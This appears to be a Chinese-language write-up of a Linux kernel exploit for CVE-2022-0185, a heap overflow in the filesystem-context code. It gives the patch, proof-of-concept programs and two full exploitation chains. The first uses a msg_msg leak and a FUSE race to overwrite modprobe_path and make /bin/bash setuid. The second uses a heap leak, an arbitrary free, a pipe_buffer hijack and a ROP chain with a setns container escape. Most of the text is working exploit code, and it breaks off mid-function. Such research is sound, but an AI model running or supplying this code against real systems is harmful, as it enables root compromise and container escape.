【kernel exploit】CVE-2022-0185 File System Context
整数溢出漏洞利用
影响版本:Linux-v5.1~v5.16.2。5.1-rc1 引入漏洞,Linux-v5.16.2已修补 ,由syzkaller发现。评分8.4分
测试版本:Linux-5.16.1(失败,msg_msg
和漏洞对象位于不同cache) Linux-5.11.22(成功) exploit及测试环境下载地址—https://github.com/bsauce/kernel-exploit-factory
编译选项:
CONFIG_CHECKPOINT_RESTORE
, CONFIG_USER_NS
, CONFIG_FUSE
, CONFIG_SYSVIPC
, CONFIG_USERFAULTFD
在编译时将.config
中的CONFIG_E1000
和CONFIG_E1000E
,变更为=y。参考
$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v5.x/linux-5.16.1.tar.xz
$ tar -xvf linux-5.16.1.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录:/arch/x86/boot/bzImage。
漏洞描述:内核的 File System Context
模块(文件系统环境)的fs/fs_context.c
文件中存在整数溢出导致堆溢出。攻击者必须具备 CAP_SYS_ADMIN
权限,或者使用命名空间或者使用unshare(CLONE_NEWNS|CLONE_NEWUSER)
(等同于命令$ unshare -Urm
)来进入含有CAP_SYS_ADMIN
权限的命名空间。docker中默认没有CAP_SYS_ADMIN
权限(启用容器时需使用 “-privileged” 选项),且docker的seccomp
过滤会默认拦截 unshare 命令,所以docker中无法利用;但是 Kubernetes 集群在使用docker时,seccomp
过滤默认是禁用的,可以提权和逃逸。
补丁:patch
diff --git a/fs/fs_context.c b/fs/fs_context.c
index b7e43a780a625..24ce12f0db32e 100644
--- a/fs/fs_context.c
+++ b/fs/fs_context.c
@@ -548,7 +548,7 @@ static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
param->key);
}
- if (len > PAGE_SIZE - 2 - size)
+ if (size + len + 2 > PAGE_SIZE)
return invalf(fc, "VFS: Legacy: Cumulative options too large");
if (strchr(param->key, ',') ||
(param->type == fs_value_is_string &&
保护机制:KASLR / SMEP / SMAP / KPTI
利用总结:
方法一:两次触发漏洞。缺点是一般普通用户的话,FUSE不一定可用。
- (1)先利用溢出修改
msg_msg->m_ts
泄露内核基址(越界读取 kmalloc-32 中的seq_operations
结构); - (2)再利用FUSE 用户页错误处理 和溢出篡改
msg_msg->next
实现任意地址写,篡改modprobe_path
提权。
方法二:缺点是需要三次触发漏洞,堆喷不稳定。
- (1)先利用溢出修改
msg_msg->m_ts
泄露内核基址(越界读取 kmalloc-32 中的seq_operations
结构); - (2)泄露堆地址:构造queue1中 ` kmalloc-4k <-> kmalloc-64
,queue2中
kmalloc-1k <-> kmalloc-64 <-> kmalloc-512。触发溢出漏洞,改大
kmalloc-4k中的
msg_msg->m_ts来越界读取
msg->m_list.next & prev`,也即 kmalloc-1024 和 kmalloc-512 的地址;pipe_buffer
占据 kmalloc-1024;- kmalloc-512 上布置 stack pivot gadget (伪造
pipe_buffer->ops
函数表);
- (3)触发溢出修改
msg_msg->next = &kmalloc-1024 - 0x30
,构造任意释放,利用 msg_msg 堆喷伪造pipe_buffer->ops
并布置 ROP chain 提权。
1. 漏洞发现
syzkaller报错:通过syzkaller发现一个报错。
BUG: KASAN: slab-out-of-bounds in legacy_parse_param+0x450/0x640 fs/fs_context.c:569
Write of size 1 at addr ffff88802d7d9000 by task syz-executor.12/386100
CPU: 3 PID: 386100 Comm: syz-executor.12 Not tainted 5.14.0 #1
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014
Call Trace:
legacy_parse_param+0x450/0x640 fs/fs_context.c:569
vfs_parse_fs_param+0x1fd/0x390 fs/fs_context.c:146
vfs_fsconfig_locked+0x177/0x340 fs/fsopen.c:265
__do_sys_fsconfig fs/fsopen.c:439 [inline]
[ ... ]
The buggy address belongs to the object at ffff88802d7d8000
which belongs to the cache kmalloc-4k of size 4096
The buggy address is located 0 bytes to the right of
4096-byte region [ffff88802d7d8000, ffff88802d7d9000)
漏洞对象位于 kmalloc-4096,legacy_parse_param()
函数导致OOB write,syzkaller生成了一个poC:
#define _GNU_SOURCE
#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
uint64_t r[1] = {0xffffffffffffffff};
int main(void) {
syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
intptr_t res = 0;
memcpy((void*)0x20000000, "9p\000", 3);
res = syscall(__NR_fsopen, 0x20000000ul, 0ul);
if (res != -1)
r[0] = res;
memcpy((void*)0x20001c00, "\000\000\344]\233", 5);
memcpy((void*)0x20000540, "<long string>", 641);
syscall(__NR_fsconfig, r[0], 1ul, 0x20001c00ul, 0x20000540ul, 0ul);
int i;
for(i = 0; i < 64; i++) {
syscall(__NR_fsconfig, r[0], 1ul, 0x20001c00ul, 0x20000540ul, 0ul);
}
memset((void*)0x20000040, 0, 1);
memcpy((void*)0x20000800, "<long string>", 641);
syscall(__NR_fsconfig, r[0], 1ul, 0x20000040ul, 0x20000800ul, 0ul);
for(i = 0; i < 64; i++) {
syscall(__NR_fsconfig, r[0], 1ul, 0x20000040ul, 0x20000800ul, 0ul);
}
return 0;
}
PoC美化:这段PoC看上去很难理解,还包含一些无关的调用,只能通过人工分析来去除无关代码。例如,mmap映射了很多区域,但只用到了0x20000000ul
,所以可以去掉无关的mmap调用;uint64_t r[1] = {0xffffffffffffffff};
实际上就是 int r = -1
;还要将地址转化为变量或常量,有的调用 memcpy()
将 9P
字符串拷贝到buffer并将该buffer传给syscall,实际上我们可以直接传字符串即可,不需要这么复杂,最终转化为以下代码:
int r = -1;
int main(void) {
int res = 0;
res = syscall(__NR_fsopen, "9p", 0ul);
if (res != -1)
r = res;
}
经过很多分析,对比input和相关内核函数,最终生成一个简化的PoC:调用 fsconfig
需传入 FSCONFIG_SET_STRING
和两个字符串 key / value,value必须以NULL结尾,最后一个参数必须为0
#define _GNU_SOURCE
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#define FSCONFIG_SET_STRING 1
#define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
#define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)
int main(void) {
char* key = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
int fd = 0;
fd = fsopen("9p", 0);
for (int i = 0; i < 130; i++) {
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", key, 0);
}
}
2. 漏洞分析
漏洞函数调用路径:__x64_sys_fsconfig() -> vfs_fsconfig_locked() -> vfs_parse_fs_param() -> legacy_parse_param()
注意 vfs_parse_fs_param() 中函数指针定义在 legacy_fs_context_ops 函数表中,在 alloc_fs_context() 函数中完成filesystem context 结构的分配和初始化。
static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param) {
struct legacy_fs_context *ctx = fc->fs_private; // [1] ctx 与文件描述符相关
unsigned int size = ctx->data_size; // [2] size —— 目前已经写入 buffer 的长度
size_t len = 0;
int ret;
[ ... ]
switch (param->type) {
case fs_value_is_string:
len = 1 + param->size; // [3] len = strlen(key) + 1 + strlen(value) 将要写入的长度, 对应到 mount option string key=value
case fs_value_is_flag:
len += strlen(param->key);
break;
default:
return invalf(fc, "VFS: Legacy: Parameter type for '%s' not supported", param->key);
}
if (len > PAGE_SIZE-2-size) return invalf(fc, "VFS: Legacy: Cumulative options too large"); // [4] 边界检查, 避免溢出
[ ... ]
if (!ctx->legacy_data) {
ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL); // [5] 首次分配 4096 字节缓冲区
if (!ctx->legacy_data) return -ENOMEM;
}
ctx->legacy_data[size++] = ','; // [6] 开始往 buffer 写数据, 先写个逗号, 再写 key, 再写 等号, 再写 value, 最后结尾写 NULL, 保存新的size
len = strlen(param->key);
memcpy(ctx->legacy_data + size, param->key, len);
size += len;
if (param->type == fs_value_is_string) {
ctx->legacy_data[size++] = '=';
memcpy(ctx->legacy_data + size, param->string, param->size);
size += param->size;
}
ctx->legacy_data[size] = '\0';
ctx->data_size = size;
ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
return 0;
}
9p / ext4 触发:fsopen()
打开一个文件系统环境,用户可以用来mount新的文件系统。 9p
(the Plan 9 filesystem)是一种文件系统,能触发本文漏洞,Linux中常用的ext4文件系统也能触发本漏洞(本文就是利用ext4来触发漏洞)。fsconfig()
调用能让我们往ctx->legacy_data
写入一个新的 (key,value)
,ctx->legacy_data
指向一个 4096 字节的缓冲区(在首次配置文件系统时就进行分配)。
漏洞分析:[4]
处 len > PAGE_SIZE-2-size
, len是将要写的长度,PAGE_SIZE == 4096
,size 是已写的长度,2字节表示一个逗号和一个NULL终止符。 问题在于采用减法来进行检查,size是unsigned int
(总是被当做正值),会导致整数溢出,如果相减的结果小于0,还是会被包装成一个正值。 如果117次添加长度为0的key和长度为33的value,最终的size则为(117*(33+2)) == 4095
,这样PAGE_SIZE-2-size == -1 == 18446744073709551615
,这样无论len多大都能满足条件。key设置为 \x00
,这样逗号会写入偏移4095,等号写入下一个kmalloc-4096的偏移0处,接着就能往偏移1处开始往后写value。
漏洞限制:key和value都是string类型,会产生\x00
截断。可以采用value来伪造 msg_msg->m_ts
;只有采用key来伪造msg_msg->m_list.next
。因为 value 只能从邻近堆块(kmalloc-4096)的偏移1处开始覆盖,因为第1个逗号 ,
会写在漏洞对象的偏移 4095,等号会写在邻近堆块的偏移0处,所以如果要正确伪造 msg_msg->m_list.next
,则只能利用key来传值。
3. 漏洞利用方法1—任意写篡改 modprobe_path
3-1 泄露内核基址
泄露内核基址:喷射大量 seq_operations
—— open(“/proc/self/stat”, O_RDONLY)
,溢出篡改 msg_msg->m_ts
泄露地址。具体步骤如下。
- (1)准备
fs_context
漏洞对象; - (2)往 kmalloc-32 喷射
seq_operations
对象; - (3)喷射
msg_msg
消息 (大小为0xfe8
),会将辅助消息分配在 kmalloc-32; - (4)触发 kmalloc-4096 溢出,篡改
msg_msg->m_ts
; - (5)利用
msg_msg
越界读。泄露内核指针。
void *do_kaslr_leak () {
uint64_t kbase = 0;
char pat[0x30] = {0};
char buffer[0x2000] = {0}, received[0x2000] = {0};
msg *message = (msg *)buffer;
int size = 0x1018;
int targets[K_SPRAY] = {0};
int i;
// Spray queues/messages
for (i = 0; i < K_SPRAY; i++) {
memset(buffer, 0x41+i, sizeof(buffer));
targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(targets[i], message, size - 0x30, 0);
}
// Spray function pointers
for (int i = 0; i < 100; i++) {
open("/proc/self/stat", O_RDONLY);
}
get_msg(targets[0], received, size - 0x30, 0, MSG_NOERROR | IPC_NOWAIT | MSG_COPY);
memset(pat, 0x42, sizeof(pat));
pat[sizeof(pat)-1] = '\x00';
fd = fsopen("ext4", 0);
if (fd < 0) {
exit(-1);
}
strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
for (int i = 0; i < 117; i++) {
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
}
// Corrupt the size field to 0x1060
char tiny[] = "DDDDDDD";
char tiny_evil[] = "DDDDDD\x60\x10";
fsconfig(fd, FSCONFIG_SET_STRING, "CCCCCCCC", tiny, 0);
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", tiny_evil, 0);
size = 0x1060;
for (int i = 0; i < K_SPRAY; i++) {
get_msg(targets[i], received, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
// Check for valid kernel pointer and aligned base
kbase = do_check_leak(received);
if (kbase) {
return (void*)kbase;
}
}
puts("[X] No leaks, trying again");
close(fd);
return 0;
}
3-2 任意地址写思路
任意写:利用竞争条件。
- (1)分配第1个消息块;
- (2)拷贝第1个消息,触发页错误暂停;
- (3)分配第2个消息块;
- (4)覆盖第1个消息的next指针;
- (5)我们的数据被拷贝到next指针指向的地址。
我们要确保(4)发生在(5)之前,可以用 userfaultfd,但是5.11版本以后就无法在用户层处理内核层的页错误了;还有种方法是利用FUSE。
3-3 FUSE 页错误处理
FUSE简介:内核允许用户实现自己的用户态文件系统(Filsystem in USErspace),有自己的read
/ write
系统调用,这样发生缺页时还是会回到用户态来处理中断。我们可以实现一个迷你的 FUSE 文件系统(通过和/dev/fuse
交互),打开并调用mmap
映射到内存,将返回地址传到内核,当内核尝试读取FUSE中的地址时,会调用我们定义的 read
处理函数,为了只在读第一个4096堆块数据之后触发页错误,我们将分配两块内存,第一块是常规内存,第2块是FUSE相关的。
问题:一是FUSE要求我们非特权用户能访问 /bin/fusermount
,通过unshare能绕过该限制;二是用户需要写个 libfuse
库使 libfuse
函数正常工作,但是 libfuse
很难静态链接 (见 issue,因为依赖于 dl_open
)作者直接移除了所有对 dl_open
的引用,并重新编译了 libfuse
库,这样FUSE技术就能应用于所有开启 CONFIG_FUSE
的内核了。
void *evil_page = mmap(0x1337000, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
uint64_t race_page = 0x1338000;
puts("[*] Preparing fault handlers via FUSE");
int evil_fd = open("evil/evil", O_RDWR);
if (evil_fd < 0) {
perror("evil fd failed");
exit(-1);
}
if ((mmap(0x1338000, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, evil_fd, 0)) != 0x1338000) {
perror("mmap fail fuse 1");
exit(-1);
}
3-4 完整利用
总体利用步骤:
- (1)打开pipe对,两个进程共享一块可发送数据的内存,可用于同步(保证篡改
msg_msg->next
之后再处理用户页错误,继续拷贝以篡改modprobe_path
); - (2)在exp中fork出子进程用于运行FUSE,处理文件系统请求;
- (3)泄露内核基址(见
3-1
地址泄露步骤); - (4)open/mmap evil file(将fusefd映射到地址
0x1338000
,这样msg copy 访问到该地址时触发页错误处理); - (5)准备堆溢出,调用
fsopen
和fsconfig
; - (6)创建子线程溢出覆盖 next 指针;
- (7)同时,主线程触发
msg_send
,让步于FUSE代码来处理页错误; - (8)FUSE在共享pipe上调用read,触发阻塞,直到有字节写入pipe;
- (9)到这里,溢出线程写入pipe(表示
msg_msg->next
已被篡改),导致FUSE释放,线程将恶意数据拷贝到目标地址。
写目标:modprobe_path
。
char *modprobe_win = "/tmp/w";
#define SHELL "/bin/bash"
[ ... ]
void modprobe_init() {
int fd;
[ ... ]
char w[] = "#!/bin/sh\nchmod u+s " SHELL "\n";
chmod(modprobe_trigger, 0777);
fd = open(modprobe_win, O_RDWR | O_CREAT);
if (fd < 0) {
perror("winner creation failed");
exit(-1);
}
write(fd, w, sizeof(w));
close(fd);
chmod(modprobe_win, 0777);
return;
}
触发 modprobe_path
:执行一个含未知字节的binary,内核就会利用modprobe去寻找一个module来加载该binary。
// 内核源码
do_execve return do_execveat_common(fd, filename, argv, envp, flags);
do_execveat_common retval = bprm_execve(bprm, fd, filename, flags);
bprm_execve retval = exec_binprm(bprm);
exec_binrpm ret = search_binary_handler(bprm);
search_binary_handler if (request_module("binfmt-%04x", *(ushort *)(bprm->buf + 2)) < 0)
request_module ret = call_modprobe(module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);
call_modprobe
static int call_modprobe(char *module_name, int wait) {
struct subprocess_info *info;
static char *envp[] = {
"HOME=/",
"TERM=linux",
"PATH=/sbin:/usr/sbin:/bin:/usr/bin",
NULL
};
char **argv = kmalloc(sizeof(char *[5]), GFP_KERNEL);
module_name = kstrdup(module_name, GFP_KERNEL);
argv[0] = modprobe_path; // <--- overwritten!
argv[1] = "-q";
argv[2] = "--";
argv[3] = module_name;
argv[4] = NULL;
info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL, NULL, free_modprobe_argv, NULL);
return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
}
// exp 中代码
char *modprobe_trigger = "/tmp/root";
void modprobe_init() {
int fd = open(modprobe_trigger, O_RDWR | O_CREAT);
char root[] = "\xff\xff\xff\xff";
write(fd, root, sizeof(root));
close(fd);
chmod(modprobe_trigger, 0777);
[ ... ]
}
void modprobe_hax() {
puts("[*] Attempting to trigger modprobe");
execve(modprobe_trigger, NULL, NULL);
}
To finish up, we repeatedly attempt to trigger the overwrite and trigger modprobe_path. We can verify if it has succeeded by checking the permissions on /bin/bash:
while (1) {
do_win();
modprobe_hax();
struct stat check;
// Get permissions on file
stat(SHELL, &check);
if (check.st_mode & S_ISUID) {
break;
}
}
puts("[*] Exploit success! " SHELL " is SUID now!");
puts("[+] Popping shell");
execve(SHELL, root_argv, NULL);
问题:原作者的测试环境是Ubuntu-20.04,但在我编译的环境中(版本v5.16.1),堆喷非常不稳定,需要改善堆喷策略。我沿用了 CVE-2021-42008的策略还是不行,不能确保漏洞对象的后面跟着一个 kmalloc-4096 的 msg_msg
,发现 msg_msg
和漏洞对象总是位于不同的cache,很奇怪。希望有大佬能弄清为什么,玄学!
换了个版本 v5.11.22,偶然成功了一次(成功赋予了busybox s权限),调试后发现 msg_msg
和漏洞对象可以位于同一cache:
3-5 改进exploit
改进提权方式:原先只是给 /bin/su
加了个suid,现在直接提权。
改进堆喷策略:原先在篡改 msg_msg->next
时,每次尝试,都先申请1个漏洞对象,然后再申请1个 msg_msg
对象,很难碰撞到 msg_msg
恰好在漏洞对象后面的情况。现在我一次申请10个漏洞对象,然后再申请1个 msg_msg
对象,10次溢出总有一次能成功篡改 msg_msg->next
吧。果然,只要几次尝试就能成功篡改 modprobe_path
:
for (int i = 0; i < 0xa; i++)
{
fdv[i] = fsopen("ext4", 0);
if (fdv[i] < 0)
{
puts("Opening");
exit(-1);
}
for (int j = 0; j < 117; j++)
fsconfig(fdv[i], FSCONFIG_SET_STRING, "\x00", pat, 0);
}
4. 漏洞利用方法2—KCTF 提权
说明一下,作者用在KCTF环境上的提权方法,在普通系统上也能使用,我觉得这种方法更好一点,因为有些系统上不一定有userfault和fuse权限。
KCTF要求:有两种要求,一是kctf,在容器上提权并读取flag,二是fullchain,在容器上提权,逃逸到host,再读取另一个容器的flag。
KCTF难点:
- /dev 目录东西很少,FUSE和一些结构如
tty_struct
不能使用,userfault 也被禁用,有很多4k的对象,所以需要调整堆喷策略。 - 另一个问题是
GFP_KERNEL_ACCOUNT
flag,这个flag用于标记data来自用户层的对象,例如msg_msg
,5.9以前,内核会把这类对象放在单独的slab(前提是设置CONFIG_MEMCG_KMEM
编译选项)。其实本文涉及到的legacy漏洞对象也应该用accounting
flag 进行标识,可能是开发者搞忘了,直到 commit for 5.16 才加上,这意味着在kctf这个 5.4 的老版本上不能使用msg_msg
对象了,幸运的是kctf最近将内核更新到了 5.10,现在msg_msg
对象可用了。(PS:Starlabs 团队的 n0psledbyte 曾在老版本的kctf环境上用msg_msg
来实现 cross cache overflow,该策略可以参考 grsecurity 的这篇文章 —— article)
利用方法选择:由于环境限制,不能用 msg_msg
实现任意写了,现在可以采用 msg_msg
提供的 unlink 原语 或者 任意释放原语。最后打算篡改 pipe_buffer
的函数表指针指向某个 msg_msg
chunk (参考 CVE-2021-22555 的方法)。
小trick:salt 工具便于调试内核堆。首先,调用set_affility()
绑定到一个CPU核上运行(因为每个CPU都有自己的freelist),以下策略是针对kCTF环境的:
- 提前堆喷很多
msg_msg
,适时的释放部分msg_msg
来利用; - 从
fsconfig
溢出msg_msg
之前,先分配4到7个msg_msg
(因为 kmalloc-4k slab中只有8个对象),再对其中一个msg_msg
触发MSG_COPY
,会在copy时对同一slab进行分配和释放,这样就会在slab中产生一个hole,下一次分配legacy对象时就会占据这个hole。
4-1 泄露堆地址
堆地址泄露: msg_queue
会把 msg_msg
以双链表串起来,可以分配两个queue,queue1中 ` kmalloc-4k <-> kmalloc-64,queue2中
kmalloc-1k <-> kmalloc-64 <-> kmalloc-512 ,利用 OOB read 来泄露 kmalloc-512 和 kmalloc-1k 对象的地址(也就是 kmalloc-64 的
msg_msg->m_list.next / prev`),如下图所示:
利用堆溢出篡改 queue1 中 kmalloc-4k 的 msg_msg->m_ts
并采用 MSG_COPY
进行 OOB read
可以根据 msg_msg
包含的内容来判断泄露的地址属于哪一个 msg_queue
,这样就能选择性的释放并喷射 pipe_buffer
对象占据 kmalloc-1k,在 kmalloc-512 上布置 stack pivot gadget。
以下代码可以泄露堆地址:
double_heap_leaks do_heap_leaks()
{
uint64_t kmalloc_1024 = 0;
uint64_t kmalloc_512 = 0;
char pivot_spray[0x2000] = {0};
uint64_t *pivot_spray_ptr = (uint64_t *)pivot_spray;
double_heap_leaks leaks = {0};
int linked_msg[256] = {0};
char pat[0x1000] = {0};
char buffer[0x2000] = {0}, recieved[0x2000] = {0};
msg *message = (msg *)buffer;
// spray kmalloc-512 linked to kmalloc-64 linked to kmalloc-1k in unique msg queues
for (int i = 0; i < 255; i++)
{
linked_msg[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
memset(pivot_spray, 0x0, sizeof(pivot_spray));
pivot_spray_ptr[0] = 1;
for (int i = 0; i < 10;i ++)
{
pivot_spray_ptr[i+1] = stack_pivot;
}
// spray pivots using kmalloc-512 allocations
send_msg(linked_msg[i], pivot_spray, 0x200 - 0x30, 0);
memset(buffer, 0x1+i, sizeof(buffer));
message->mtype = 2;
send_msg(linked_msg[i], message, 0x40 - 0x30, 0);
message->mtype = 3;
send_msg(linked_msg[i], message, 0x400 - 0x30 - 0x40, 0);
}
int size = 0x1038;
int targets[H_SPRAY] = {0};
for (int i = 0; i < H_SPRAY; i++)
{
memset(buffer, 0x41+i, sizeof(buffer));
targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(targets[i], message, size - 0x30, 0);
}
// create hole hopefully
get_msg(targets[0], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
puts("[*] Opening ext4 filesystem");
fd = fsopen("ext4", 0);
if (fd < 0)
{
puts("fsopen: Remember to unshare");
exit(-1);
}
strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
for (int i = 0; i < 117; i++)
{
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
}
// fill it a bit to help prevent potential crashes on MSG_COPY
stuff_4k(16);
puts("[*] Overflowing...");
pat[21] = '\x00';
char evil[] = "\x60\x19";
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);
puts("[*] Done heap overflow");
size = 0x1960;
puts("[*] Receiving corrupted size and leak data");
// go through all targets qids and check if we hopefully get a leak
for (int i = 0; i < H_SPRAY; i++)
{
get_msg(targets[i], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
for (int j = 0x202; j < 0x202 + (0x1960-0x1010) / 8; j++)
{
uint64_t *dump = (uint64_t *)recieved;
if (dump[j] == 0x2 && dump[j+1] == 0x10 && dump[j+4] == dump[j+5])
{
kmalloc_1024 = dump[j-2];
kmalloc_512 = dump[j-1];
// delete chunk 1024, chunk 512 already has sprayed pivots
uint8_t target_idx = (dump[j+4] & 0xff) - 1;
get_msg(linked_msg[target_idx], recieved, 0x400 - 0x30, 3, IPC_NOWAIT | MSG_NOERROR);
// spray to replace with pipe_buffer, thanks LIFO!
for (int k = 0; k < PIPES; k++)
{
if (pipe(pipefd[k]) < 0)
{
perror("pipe failed");
exit(-1);
}
write(pipefd[k][1], "pwnage", 7);
}
break;
}
}
if (kmalloc_1024 != 0)
{
break;
}
}
close(fd);
if (!kmalloc_1024)
{
puts("[X] No leaks, trying again");
stuff_4k(16);
return leaks;
}
leaks.kmalloc_1024_leak = kmalloc_1024;
leaks.kmalloc_512_leak = kmalloc_512;
return leaks;
}
有了这些信息,就能控制 pipe_buffer->ops
。
4-2 篡改 pipe_buffer->ops
方法一unlink:作者首先尝试了unlink attack,在 do_msgrcv()
中,不指定 MSG_COPY
就会执行 unlink operation ,直观来说就是执行 victim->prev->next = victim->next
和 victim->next->prev = victim->prev
,如果设置 victim->prev
指向 pipe_buffer->ops
的位置,设置victim->next
指向 kmalloc-512 内部(可控),这样就能将 pipe_buffer->ops
篡改指向伪造的函数表,unlink流程如下所示:
问题-unlink check:内核开启了 CONFIG_DEBUG_LIST
,会调用 __list_del_entry_valid() 对unlink进行检查,检查不通过则不会进行unlink(但还是会进行释放,原来的指针会被设置为 POISON
值)
bool __list_del_entry_valid(struct list_head *entry)
{
struct list_head *prev, *next;
prev = entry->prev;
next = entry->next;
if (CHECK_DATA_CORRUPTION(next == LIST_POISON1,
"list_del corruption, %px->next is LIST_POISON1 (%px)\n",
entry, LIST_POISON1) ||
CHECK_DATA_CORRUPTION(prev == LIST_POISON2,
"list_del corruption, %px->prev is LIST_POISON2 (%px)\n",
entry, LIST_POISON2) ||
CHECK_DATA_CORRUPTION(prev->next != entry,
"list_del corruption. prev->next should be %px, but was %px\n",
entry, prev->next) ||
CHECK_DATA_CORRUPTION(next->prev != entry,
"list_del corruption. next->prev should be %px, but was %px\n",
entry, next->prev))
return false;
return true;
}
方法二任意释放:但我们已经泄露了堆地址,即使unlink失败了也可以将链表指针改为有效的值,继续覆写 msg_msg->next
指针和 msg_msg->security
指针来构造任意释放。由于payload必须为有效的字符串,我们可以根据泄露的堆地址进行非对齐释放( msg_msg->next = &kmalloc-1k - 0x20
/ msg_msg->security = &kmalloc-512 - 0x20
,关键是释放前者,后者不重要),释放 &kmalloc-1k - 0x20
之后,再分配一个 kmalloc-1k 大小的 msg_msg
来篡改 pipe_buffer->ops
指向存放 stack pivot gadget 的地方,同时避免触发 hardened usercopy bound checks
。
4k msg_msg
的伪造流程如下:
接着,释放 4k msg_msg
并堆喷1k msg_msg
以篡改被释放的 pipe_buffer
:
4-3 ROP 构造并提权
ROP位置:关闭 pipefd
就能触发执行 stack pivot,但此时发现没有寄存器指向 kmalloc-512 内部,RAX指向 pipe_buffer
开头(kmalloc-1k),这意味着我们要在 pipe_buffer
上布置 ROP chain,我们的 stack pivot 需要将rsp改成rax。
可用的 gadget:
mov rsp, rax ; pop rbp ; ret;
—— stack pivotpop rdi ; ret ;
pop rsi ; ret ;
test esi, esi ; cmovne rdi, rax ; mov rax, qword [rdi] ; pop rbp ; ret ;
—— rdi = rax
ROP构造:ROP链的目标是拥有root namespace 中的root权限,可直接利用 CVE-2021-22555 中的ROP chain来执行 commit_cred(prepare_kernel_cred(NULL))
和 switch_task_namespaces(find_task_by_vpid(1), init_nsproxy)
,最后调用 swapgs_and_return_to_userspace
返回用户空间,最后执行常规的容器逃逸步骤( setns
tricks )。
以下代码能够提权和容器逃逸:
void dump_flag()
{
char buf[200] = {0};
for (int i = 0; i < 4194304; i++)
{
// bruteforce root namespace pid equivalent of the other container's sleep process
snprintf(buf, sizeof(buf), "/proc/%d/root/flag/flag", i);
int fd = open(buf, O_RDONLY);
if (fd < 0)
{
continue;
}
puts("🎲🎲🎲🎲🎲🎲🎲🎲🎲🎲");
read(fd, buf, 100);
write(1, buf, 100);
puts("🎲🎲🎲🎲🎲🎲🎲🎲🎲🎲");
close(fd);
}
return;
}
__attribute__((naked)) win()
{
// thanks movaps sooooooo much
asm volatile(
"mov rbp, rsp;"
"and rsp, -0xf;"
"call dump_flag;"
"mov rsp, rbp;"
"ret;");
}
void pwned()
{
write(1, "ROOOOOOOOOOOT\n", 14);
setns(open("/proc/1/ns/mnt", O_RDONLY), 0);
setns(open("/proc/1/ns/pid", O_RDONLY), 0);
setns(open("/proc/1/ns/net", O_RDONLY), 0);
win();
char *args[] = {"/bin/sh", NULL};
execve("/bin/sh", args, NULL);
_exit(0);
}
void do_win(uint64_t kmalloc_512, uint64_t kmalloc_1024)
{
int size = 0x1000;
int target = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
char buffer[0x2000] = {0}, recieved[0x2000] = {0};
char pat[0x40] = {0};
msg* message = (msg*)buffer;
memset(buffer, 0x44, sizeof(buffer));
int ready = 0;
int ignition_target = -1;
// doesn't matter as long as valid pointers
uint64_t next_target = kmalloc_1024 + 0x440;
uint64_t prev_target = kmalloc_512 + 0x440;
// set up arb free primitive, avoid tripping hardened usercopy when re-alloc with msg_msg
uint64_t free_target = kmalloc_1024 - 0x20;
uint64_t make_sec_happy = kmalloc_512 - 0x20;
stuff_4k(16);
int targets[P_SPRAY] = {0};
while (!ready)
{
for (int i = 0; i < P_SPRAY; i++)
{
memset(buffer, 0x41+i, sizeof(buffer));
targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(targets[i], message, size - 0x30, 0);
}
get_msg(targets[0], recieved, size-0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
// misaligned arb free attack
fd = fsopen("ext4", 0);
if (fd < 0)
{
puts("Opening");
exit(-1);
}
strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
for (int i = 0; i < 117; i++) {
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
}
puts("[*] Done heap overflow");
char evil[0x40] = {0};
uint64_t *evil_ptr = (uint64_t *)evil;
memset(evil, 0x41, 0x30);
evil_ptr[0] = next_target;
evil_ptr[1] = prev_target;
evil_ptr[4] = free_target;
